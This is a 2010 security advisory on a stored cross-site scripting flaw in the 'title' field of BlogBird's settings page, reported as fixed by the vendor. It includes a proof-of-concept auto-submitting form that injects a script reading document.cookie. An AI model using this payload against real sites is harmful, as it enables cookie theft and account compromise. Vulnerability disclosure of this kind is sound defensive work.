Vulnerability ID: HTB22646 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_blogbird.html Product: BlogBird Vendor: BlogBird ( http://www.blogbird.nl/ ) Vulnerable Version: Current actual version on http://www.blogbird.nl/ Vendor Notification: 13 October 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the blog setting save script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://www.blogbird.nl/settings/save" method="post" name="main"> <input type="hidden" name="title" value='My Blog Title"><script>alert(document.cookie)</script>'> <input type="hidden" name="description" value=""> <input type="hidden" name="keywords" value=""> <input type="hidden" name="language" value="dutch"> <input type="hidden" name="date_format" value=""> <input type="hidden" name="per_page" value="0"> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version